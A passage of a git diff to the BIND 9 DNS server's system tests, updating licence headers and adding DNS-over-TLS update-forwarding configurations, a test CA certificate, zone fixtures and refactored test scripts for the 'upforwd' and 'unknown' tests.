-status=`expr $status + $ret`
+status=$((status + ret))
 
-echo_i "check that 'TYPE353 \# cat' produces 'not a valid number'"
+n=$((n+1))
+echo_i "check that 'TYPE353 \# cat' produces 'not a valid number' ($n)"
 ret=0
-$CHECKZONE nan.bad zones/nan.bad > check.out 2>&1
+$CHECKZONE nan.bad zones/nan.bad > check.out 2>&1 && ret=1
 grep "not a valid number" check.out > /dev/null || ret=1
 [ $ret = 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/unknown/tests_sh_unknown.py b/bin/tests/system/unknown/tests_sh_unknown.py
new file mode 100644
index 0000000000..fe1f4512b9
--- /dev/null
+++ b/bin/tests/system/unknown/tests_sh_unknown.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_unknown(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/unknown/zones/nan.bad b/bin/tests/system/unknown/zones/nan.bad
index 39efac784f..4381f8862e 100644
--- a/bin/tests/system/unknown/zones/nan.bad
+++ b/bin/tests/system/unknown/zones/nan.bad
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/upforwd/CA/CA.pem b/bin/tests/system/upforwd/CA/CA.pem
new file mode 100644
index 0000000000..1f725dbb8a
--- /dev/null
+++ b/bin/tests/system/upforwd/CA/CA.pem
@@ -0,0 +1,29 @@
+-----BEGIN CERTIFICATE-----
+MIIE3TCCA0WgAwIBAgIUeZPKrvbGEBZaRc2jNczlIsJXyPYwDQYJKoZIhvcNAQEL
+BQAwfTELMAkGA1UEBhMCVUExGDAWBgNVBAgMD0toYXJraXYgT2JsYXN0JzEQMA4G
+A1UEBwwHS2hhcmtpdjEkMCIGA1UECgwbSW50ZXJuZXQgU3lzdGVtcyBDb25zb3J0
+aXVtMRwwGgYDVQQDDBNjYS50ZXN0LmV4YW1wbGUuY29tMCAXDTIyMDEyNDEyNDA1
+NFoYDzIwNTIwMTE3MTI0MDU0WjB9MQswCQYDVQQGEwJVQTEYMBYGA1UECAwPS2hh
+cmtpdiBPYmxhc3QnMRAwDgYDVQQHDAdLaGFya2l2MSQwIgYDVQQKDBtJbnRlcm5l
+dCBTeXN0ZW1zIENvbnNvcnRpdW0xHDAaBgNVBAMME2NhLnRlc3QuZXhhbXBsZS5j
+b20wggGiMA0GCSqGSIb3DQEBAQUAA4IBjwAwggGKAoIBgQCi6hEegBzpUKbE1NTo
+Z7uz7EMUY7TBckkiw/7ydTLKNa8YI4JpBguFvWQsDY0dGFJIoVwyHyNx3seW/LoI
+B5zWPZ2xbOvLLceA+t2NZpbc98E7jUOVS123yED+nqlfZjCq9Zt0r/ezwnQtjnFF
+ko1mcU4H9Jvg8aIgnU2AxE78zciU9CY8799pFFNThIjbooI8oVbfjbzbpmLzxjA5
+3rDmZBTh+ySTlMa2U2oT4WPjRltZWnJVegRRLpG95GnTbQ1fkJAbj1Iu10XTkCee
+wBOqaA1UJem0a6pby5odE414Y7c0ETKcmaJtYENQyO0IJwZWDKtVe5OTIAklakia
+eyFTCAw1h5tHCYLaJW/Yu2wlLl5RNQcRZ9+cWXnldTY+TI1iBjfmADjLdKJYUlhX
+z7kWJtTi63Sdv6WYcEXxaWpxT+R3e2kaR/R7GOo4gdkWpX1siGlRteHHH2/36CSQ
+ZD2etcTUpGW+KDHFR4grnEfL1rt9UgvCjpa4KcssmZtWSSUCAwEAAaNTMFEwHQYD
+VR0OBBYEFHyJ6Fzr5R9ySATFj/uSCJz1YCY5MB8GA1UdIwQYMBaAFHyJ6Fzr5R9y
+SATFj/uSCJz1YCY5MA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggGB
+AF3y0hvzyZWtmuG1JwIcOcc1aPl1KdRy8bao/5iHYGYYrsdDgcO5/e+y9S/izalc
+TdW7SKB5iBOCiE8fBNtToCvGP+fxNxHijpAmTr37G5sWuSo1T1VYFizHWL+df/Ig
+TcSvDrEjSnAwaEdNJUWtjoIC4VzNKTLtZf16QIATTzTZa3bfgSetpWS7LhLQbHod
+CSGI2QB1LRbqGC+a1Y85QxHv81jWzPWPzXYvnOLrDdQyBMOBcxDzrN4b6zg+5Itz
+qGYt+IS71jAH0IhxAyD/U5n1jGJv02BnSq0ynLEOD6gsnZjqAwPbt/PM9pGbtbXO
+70Q9rxr+vQc1IISKAEiH3txaEPi10wU98d6LbInJvQrmgHo/ntet8skWNYuxlEzS
+wvynuE9KvvQtOTodWt5AePtKrhHdxu527a4CHVp59nYUjKSdMKjvmhMRXM1cNjFE
+rA/pyyhozR47w3RzHMJVHw2GJ2B/HeqmxpXr1CmJjoRP38QCR7N+mqiZy85Fq2j2
+8Q==
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/upforwd/ans4/ans.pl b/bin/tests/system/upforwd/ans4/ans.pl
index abe4b3ec36..000be5636c 100644
--- a/bin/tests/system/upforwd/ans4/ans.pl
+++ b/bin/tests/system/upforwd/ans4/ans.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -154,7 +156,7 @@ sub handleUDP {
                                         $tsig->{"request_mac"} =
                                                 unpack("H*", $rmac);
                                 }
-                                
+
 				$packet->sign_tsig($tsig);
 			}
                         last;
@@ -256,10 +258,10 @@ sub handleTCP {
 		($packet, $err) = new Net::DNS::Packet(\$buf, 0);
 		$err and die $err;
 	}
-	
+
 	$packet->header->qr(1);
 	$packet->header->aa(1);
-	
+
 	my @questions = $packet->question;
 	my $qname = $questions[0]->qname;
 	my $qtype = $questions[0]->qtype;
@@ -289,7 +291,7 @@ sub handleTCP {
 			}
 			if(defined($key_name) && defined($key_data)) {
 				# sign the packet
-				print "  Signing the data with " . 
+				print "  Signing the data with " .
                                       "$key_name/$key_data\n";
 
                                 my $tsig = Net::DNS::RR->
@@ -312,7 +314,7 @@ sub handleTCP {
                                         $tsig->{"request_mac"} =
                                                 unpack("H*", $rmac);
                                 }
-                                
+
                                 $tsig->sign_func($signer) if defined($signer);
 				$packet->sign_tsig($tsig);
                                 $signer = \&sign_tcp_continuation;
diff --git a/bin/tests/system/upforwd/clean.sh b/bin/tests/system/upforwd/clean.sh
index 2025252556..2641c43893 100644
--- a/bin/tests/system/upforwd/clean.sh
+++ b/bin/tests/system/upforwd/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -15,7 +17,7 @@
 
 rm -f dig.out.ns1* dig.out.ns2 dig.out.ns1 dig.out.ns3 dig.out.ns1.after
 rm -f ns1/*.jnl ns2/*.jnl ns3/*.jnl ns1/example.db ns2/*.bk ns3/*.bk
-rm -f ns3/nomaster1.db
+rm -f ns3/noprimary1.db
 rm -f ns3/dnstap.out*
 rm -f ns3/dnstap.conf
 rm -f dnstap.out*
@@ -29,3 +31,5 @@ rm -f keyname keyname.err
 rm -f ns*/named.lock
 rm -f ns1/example2.db
 rm -f ns*/managed-keys.bind*
+rm -f nsupdate.out.*
+rm -f ns*/named.run.prev
diff --git a/bin/tests/system/upforwd/knowngood.after1.example3 b/bin/tests/system/upforwd/knowngood.after1.example3
new file mode 100644
index 0000000000..c37ca2f2ac
--- /dev/null
+++ b/bin/tests/system/upforwd/knowngood.after1.example3
@@ -0,0 +1,10 @@
+example3.		3600	IN	SOA	n1.example3. hostmaster.ns1.example3. 2 3600 1200 604800 7200
+example3.		3600	IN	NS	ns2.example3.
+example3.		3600	IN	NS	ns3.example3.
+ns1.example3.		3600	IN	A	10.53.0.1
+ns2.example3.		3600	IN	A	10.53.0.2
+ns3.example3.		3600	IN	A	10.53.0.3
+updated.example3.	600	IN	TXT	"Foo"
+updated.example3.	600	IN	A	10.10.10.1
+example3.		3600	IN	SOA	n1.example3. hostmaster.ns1.example3. 2 3600 1200 604800 7200
+
diff --git a/bin/tests/system/upforwd/knowngood.after2 b/bin/tests/system/upforwd/knowngood.after2
index eab7a2cf06..04a001f813 100644
--- a/bin/tests/system/upforwd/knowngood.after2
+++ b/bin/tests/system/upforwd/knowngood.after2
@@ -4,8 +4,8 @@ example.		3600	IN	NS	ns3.example.
 ns1.example.		3600	IN	A	10.53.0.1
 ns2.example.		3600	IN	A	10.53.0.2
 ns3.example.		3600	IN	A	10.53.0.3
-unsigned.example.	600	IN	TXT	"Foo"
-unsigned.example.	600	IN	A	10.10.10.1
 updated.example.	600	IN	TXT	"Foo"
 updated.example.	600	IN	A	10.10.10.1
+updated-dot.example.	600	IN	TXT	"Foo"
+updated-dot.example.	600	IN	A	10.10.10.1
 example.		3600	IN	SOA	n1.example. hostmaster.ns1.example. 3 3600 1200 604800 7200
diff --git a/bin/tests/system/upforwd/knowngood.after3 b/bin/tests/system/upforwd/knowngood.after3
new file mode 100644
index 0000000000..18407f09e6
--- /dev/null
+++ b/bin/tests/system/upforwd/knowngood.after3
@@ -0,0 +1,13 @@
+example.		3600	IN	SOA	n1.example. hostmaster.ns1.example. 4 3600 1200 604800 7200
+example.		3600	IN	NS	ns2.example.
+example.		3600	IN	NS	ns3.example.
+ns1.example.		3600	IN	A	10.53.0.1
+ns2.example.		3600	IN	A	10.53.0.2
+ns3.example.		3600	IN	A	10.53.0.3
+unsigned.example.	600	IN	TXT	"Foo"
+unsigned.example.	600	IN	A	10.10.10.1
+updated.example.	600	IN	TXT	"Foo"
+updated.example.	600	IN	A	10.10.10.1
+updated-dot.example.	600	IN	TXT	"Foo"
+updated-dot.example.	600	IN	A	10.10.10.1
+example.		3600	IN	SOA	n1.example. hostmaster.ns1.example. 4 3600 1200 604800 7200
diff --git a/bin/tests/system/upforwd/knowngood.before.example3 b/bin/tests/system/upforwd/knowngood.before.example3
new file mode 100644
index 0000000000..f47a88e510
--- /dev/null
+++ b/bin/tests/system/upforwd/knowngood.before.example3
@@ -0,0 +1,8 @@
+example3.		3600	IN	SOA	n1.example3. hostmaster.ns1.example3. 1 3600 1200 604800 7200
+example3.		3600	IN	NS	ns2.example3.
+example3.		3600	IN	NS	ns3.example3.
+ns1.example3.		3600	IN	A	10.53.0.1
+ns2.example3.		3600	IN	A	10.53.0.2
+ns3.example3.		3600	IN	A	10.53.0.3
+example3.		3600	IN	SOA	n1.example3. hostmaster.ns1.example3. 1 3600 1200 604800 7200
+
diff --git a/bin/tests/system/upforwd/ns1/example1.db b/bin/tests/system/upforwd/ns1/example1.db
index a703d022be..04c47f212f 100644
--- a/bin/tests/system/upforwd/ns1/example1.db
+++ b/bin/tests/system/upforwd/ns1/example1.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/upforwd/ns1/example3.db b/bin/tests/system/upforwd/ns1/example3.db
new file mode 100644
index 0000000000..e32614cb68
--- /dev/null
+++ b/bin/tests/system/upforwd/ns1/example3.db
@@ -0,0 +1,18 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+@	3600	SOA	n1.example3. hostmaster.ns1.example3. (
+			1 3600 1200 604800 7200 )
+		NS	ns2.example3.
+		NS	ns3.example3.
+ns1		A	10.53.0.1
+ns2		A	10.53.0.2
+ns3		A	10.53.0.3
diff --git a/bin/tests/system/upforwd/ns1/named.conf.in b/bin/tests/system/upforwd/ns1/named.conf.in
index 3873c7c733..721f4fe340 100644
--- a/bin/tests/system/upforwd/ns1/named.conf.in
+++ b/bin/tests/system/upforwd/ns1/named.conf.in
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 key "update.example." {
-	algorithm "hmac-md5";
+	algorithm @DEFAULT_HMAC@;
 	secret "c3Ryb25nIGVub3VnaCBmb3IgYSBtYW4gYnV0IG1hZGUgZm9yIGEgd29tYW4K";
 };
 
@@ -19,10 +21,13 @@ options {
 	notify-source 10.53.0.1;
 	transfer-source 10.53.0.1;
 	port @PORT@;
+	tls-port @TLSPORT@;
 	pid-file "named.pid";
 	listen-on { 10.53.0.1; };
+	listen-on tls ephemeral { 10.53.0.1; };
 	listen-on-v6 { none; };
 	recursion yes;
+	dnssec-validation no;
 	notify yes;
 };
 
@@ -37,3 +42,9 @@ zone "example2" {
 	file "example2.db";
 	allow-update { key sig0.example2.; };
 };
+
+zone "example3" {
+	type primary;
+	file "example3.db";
+	allow-update { key update.example.; 10.53.0.3; };
+};
diff --git a/bin/tests/system/upforwd/ns2/named.conf.in b/bin/tests/system/upforwd/ns2/named.conf.in
index 3310f1fe06..2322aa1984 100644
--- a/bin/tests/system/upforwd/ns2/named.conf.in
+++ b/bin/tests/system/upforwd/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -18,6 +20,7 @@ options {
 	listen-on { 10.53.0.2; };
 	listen-on-v6 { none; };
 	recursion yes;
+	dnssec-validation no;
 	notify yes;
 };
 
@@ -32,3 +35,9 @@ zone "example2" {
 	file "example2.bk";
 	primaries { 10.53.0.1; };
 };
+
+zone "example3" {
+	type secondary;
+	file "example3.bk";
+	primaries { 10.53.0.1; };
+};
diff --git a/bin/tests/system/upforwd/ns3/named.conf.in b/bin/tests/system/upforwd/ns3/named.conf.in
deleted file mode 100644
index 7bd13d3417..0000000000
--- a/bin/tests/system/upforwd/ns3/named.conf.in
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-	query-source address 10.53.0.3;
-	notify-source 10.53.0.3;
-	transfer-source 10.53.0.3;
-	port @PORT@;
-	pid-file "named.pid";
-	listen-on { 10.53.0.3; };
-	listen-on-v6 { none; };
-	recursion no;
-	notify yes;
-	include "dnstap.conf";
-};
-
-key rndc_key {
-        secret "1234abcd8765";
-        algorithm hmac-sha256;
-};
-
-controls {
-        inet 10.53.0.3 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
-};
-
-zone "example" {
-	type secondary;
-	file "example.bk";
-	allow-update-forwarding { any; };
-	primaries { 10.53.0.1; };
-};
-
-zone "example2" {
-	type secondary;
-	file "example2.bk";
-	allow-update-forwarding { any; };
-	primaries { 10.53.0.1; };
-};
-
-zone "nomaster" {
-	type secondary;
-	file "nomaster1.db";
-	allow-update-forwarding { any; };
-	masterfile-format text;
-	primaries { 10.53.0.4; };
-};
diff --git a/bin/tests/system/upforwd/ns3/named1.conf.in b/bin/tests/system/upforwd/ns3/named1.conf.in
new file mode 100644
index 0000000000..b1e42f71cd
--- /dev/null
+++ b/bin/tests/system/upforwd/ns3/named1.conf.in
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	query-source address 10.53.0.3;
+	notify-source 10.53.0.3;
+	transfer-source 10.53.0.3;
+	port @PORT@;
+	tls-port @TLSPORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.3; };
+	listen-on tls ephemeral { 10.53.0.3; };
+	listen-on-v6 { none; };
+	recursion no;
+	dnssec-validation no;
+	notify yes;
+	include "dnstap.conf";
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.3 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+tls tls-example-primary {
+	remote-hostname "srv01.crt01.example.com"; // enable Strict TLS
+	ca-file "../CA/CA.pem";
+};
+
+zone "example" {
+	type secondary;
+	file "example.bk";
+	allow-update-forwarding { 10.53.0.1; };
+	primaries { 10.53.0.1 tls ephemeral; };
+};
+
+zone "example2" {
+	type secondary;
+	file "example2.bk";
+	allow-update-forwarding { 10.53.0.1; };
+	primaries { 10.53.0.1; };
+};
+
+zone "example3" {
+	type secondary;
+	file "example3.bk";
+	allow-update-forwarding { 10.53.0.1; };
+	primaries {
+		10.53.0.1 tls tls-example-primary; // bad
+		10.53.0.1; // good
+	};
+};
+
+zone "noprimary" {
+	type secondary;
+	file "noprimary1.db";
+	allow-update-forwarding { any; };
+	masterfile-format text;
+	primaries { 10.53.0.4; };
+};
diff --git a/bin/tests/system/upforwd/ns3/named2.conf.in b/bin/tests/system/upforwd/ns3/named2.conf.in
new file mode 100644
index 0000000000..1fe3e0488a
--- /dev/null
+++ b/bin/tests/system/upforwd/ns3/named2.conf.in
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	query-source address 10.53.0.3;
+	notify-source 10.53.0.3;
+	transfer-source 10.53.0.3;
+	port @PORT@;
+	tls-port @TLSPORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.3; };
+	listen-on tls ephemeral { 10.53.0.3; };
+	listen-on-v6 { none; };
+	recursion no;
+	dnssec-validation no;
+	notify yes;
+	update-quota 1;
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.3 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+zone "example" {
+	type secondary;
+	file "example.bk";
+	allow-update-forwarding { any; };
+	primaries { 10.53.0.1; };
+};
diff --git a/bin/tests/system/upforwd/ns3/nomaster.db b/bin/tests/system/upforwd/ns3/nomaster.db
deleted file mode 100644
index 443bedb78c..0000000000
--- a/bin/tests/system/upforwd/ns3/nomaster.db
+++ /dev/null
@@ -1,12 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-@ 0 SOA	. . 141235 3600 1200 86400 1200
-@ 0 NS ns4
-ns4 0 A 10.53.0.4
diff --git a/bin/tests/system/upforwd/ns3/noprimary.db b/bin/tests/system/upforwd/ns3/noprimary.db
new file mode 100644
index 0000000000..c27e1545fd
--- /dev/null
+++ b/bin/tests/system/upforwd/ns3/noprimary.db
@@ -0,0 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+@ 0 SOA	. . 141235 3600 1200 86400 1200
+@ 0 NS ns4
+ns4 0 A 10.53.0.4
diff --git a/bin/tests/system/upforwd/setup.sh b/bin/tests/system/upforwd/setup.sh
index 06e83b5e39..e13928e43d 100644
--- a/bin/tests/system/upforwd/setup.sh
+++ b/bin/tests/system/upforwd/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -12,11 +14,11 @@
 . ../conf.sh
 
 cp -f ns1/example1.db ns1/example.db
-cp -f ns3/nomaster.db ns3/nomaster1.db
+cp -f ns3/noprimary.db ns3/noprimary1.db
 
 copy_setports ns1/named.conf.in ns1/named.conf
 copy_setports ns2/named.conf.in ns2/named.conf
-copy_setports ns3/named.conf.in ns3/named.conf
+copy_setports ns3/named1.conf.in ns3/named.conf
 
 if $FEATURETEST --enable-dnstap
 then
@@ -34,7 +36,7 @@ fi
 #
 # SIG(0) required cryptographic support which may not be configured.
 #
-keyname=`$KEYGEN  -q -n HOST -a RSASHA1 -b 1024 -T KEY sig0.example2 2>keyname.err`
+keyname=$($KEYGEN  -q -n HOST -a ${DEFAULT_ALGORITHM} -T KEY sig0.example2 2>keyname.err)
 if test -n "$keyname"
 then
 	cat ns1/example1.db $keyname.key > ns1/example2.db
diff --git a/bin/tests/system/upforwd/tests.sh b/bin/tests/system/upforwd/tests.sh
index e46a4d2c96..ed18430d8a 100644
--- a/bin/tests/system/upforwd/tests.sh
+++ b/bin/tests/system/upforwd/tests.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -13,11 +15,26 @@
 # ns2 = secondary with update forwarding disabled; not currently used
 # ns3 = secondary with update forwarding enabled
 
+set -e
+
 . ../conf.sh
 
 DIGOPTS="+tcp +noadd +nosea +nostat +noquest +nocomm +nocmd -p ${PORT}"
 RNDCCMD="$RNDC -p ${CONTROLPORT} -c ../common/rndc.conf"
 
+nextpart_thrice() {
+	nextpart ns1/named.run >/dev/null
+	nextpart ns2/named.run >/dev/null
+	nextpart ns3/named.run >/dev/null
+}
+
+wait_for_log_thrice() {
+	echo_i "waiting for servers to incorporate changes"
+	wait_for_log 10 "committing update transaction" ns1/named.run
+	wait_for_log 10 "zone transfer finished" ns2/named.run
+	wait_for_log 10 "zone transfer finished" ns3/named.run
+}
+
 status=0
 n=1
 capture_dnstap() {
@@ -26,7 +43,9 @@ capture_dnstap() {
 }
 
 uq_equals_ur() {
+        zonename="$1"
 	"$DNSTAPREAD" dnstap.out.$n |
+        awk '$9 ~ /^'$zonename'\// { print }' |
         awk '$3 == "UQ" { UQ+=1 } $3 == "UR" { UR += 1 } END { print UQ+0, UR+0 }' > dnstapread.out$n
         read UQ UR < dnstapread.out$n
 	echo_i "UQ=$UQ UR=$UR"
@@ -37,216 +56,405 @@ echo_i "waiting for servers to be ready for testing ($n)"
 for i in 1 2 3 4 5 6 7 8 9 10
 do
 	ret=0
-	$DIG +tcp -p ${PORT} example. @10.53.0.1 soa > dig.out.ns1 || ret=1
-	grep "status: NOERROR" dig.out.ns1 > /dev/null ||  ret=1
-	$DIG +tcp -p ${PORT} example. @10.53.0.2 soa > dig.out.ns2 || ret=1
-	grep "status: NOERROR" dig.out.ns2 > /dev/null ||  ret=1
-	$DIG +tcp -p ${PORT} example. @10.53.0.3 soa > dig.out.ns3 || ret=1
-	grep "status: NOERROR" dig.out.ns3 > /dev/null ||  ret=1
+	$DIG +tcp -p ${PORT} example. @10.53.0.1 soa > dig.out.ns1.$n || ret=1
+	grep "status: NOERROR" dig.out.ns1.$n > /dev/null ||  ret=1
+	$DIG +tcp -p ${PORT} example. @10.53.0.2 soa > dig.out.ns2.$n || ret=1
+	grep "status: NOERROR" dig.out.ns2.$n > /dev/null ||  ret=1
+	$DIG +tcp -p ${PORT} example. @10.53.0.3 soa > dig.out.ns3.$n || ret=1
+	grep "status: NOERROR" dig.out.ns3.$n > /dev/null ||  ret=1
 	test $ret = 0 && break
 	sleep 1
 done
-if [ $ret != 0 ] ; then echo_i "failed"; status=`expr $status + $ret`; fi
-n=`expr $n + 1`
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
+n=$((n + 1))
 
 echo_i "fetching primary copy of zone before update ($n)"
 ret=0
 $DIG $DIGOPTS example.\
-	@10.53.0.1 axfr > dig.out.ns1 || ret=1
-if [ $ret != 0 ] ; then echo_i "failed"; status=`expr $status + $ret`; fi
-n=`expr $n + 1`
+	@10.53.0.1 axfr > dig.out.ns1.example.before || ret=1
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
+n=$((n + 1))
 
 echo_i "fetching secondary 1 copy of zone before update ($n)"
 $DIG $DIGOPTS example.\
-	@10.53.0.2 axfr > dig.out.ns2 || ret=1
-if [ $ret != 0 ] ; then echo_i "failed"; status=`expr $status + $ret`; fi
-n=`expr $n + 1`
+	@10.53.0.2 axfr > dig.out.ns2.example.before || ret=1
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
+n=$((n + 1))
 
 echo_i "fetching secondary 2 copy of zone before update ($n)"
 ret=0
 $DIG $DIGOPTS example.\
-	@10.53.0.3 axfr > dig.out.ns3 || ret=1
-if [ $ret != 0 ] ; then echo_i "failed"; status=`expr $status + $ret`; fi
-n=`expr $n + 1`
+	@10.53.0.3 axfr > dig.out.ns3.example.before || ret=1
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
+n=$((n + 1))
 
 echo_i "comparing pre-update copies to known good data ($n)"
 ret=0
-digcomp knowngood.before dig.out.ns1 || ret=1
-digcomp knowngood.before dig.out.ns2 || ret=1
-digcomp knowngood.before dig.out.ns3 || ret=1
-if [ $ret != 0 ] ; then echo_i "failed"; status=`expr $status + $ret`; fi
+digcomp knowngood.before dig.out.ns1.example.before || ret=1
+digcomp knowngood.before dig.out.ns2.example.before || ret=1
+digcomp knowngood.before dig.out.ns3.example.before || ret=1
+if [ $ret != 0 ] ; then echo_i "failed"; status=$((status + ret)); fi
 
-echo_i "updating zone (signed) ($n)"
+echo_i "checking update forwarding of a zone (signed) (Do53 -> DoT) ($n)"
+nextpart_thrice
 ret=0
-$NSUPDATE -y update.example:c3Ryb25nIGVub3VnaCBmb3IgYSBtYW4gYnV0IG1hZGUgZm9yIGEgd29tYW4K -- - <<EOF || ret=1
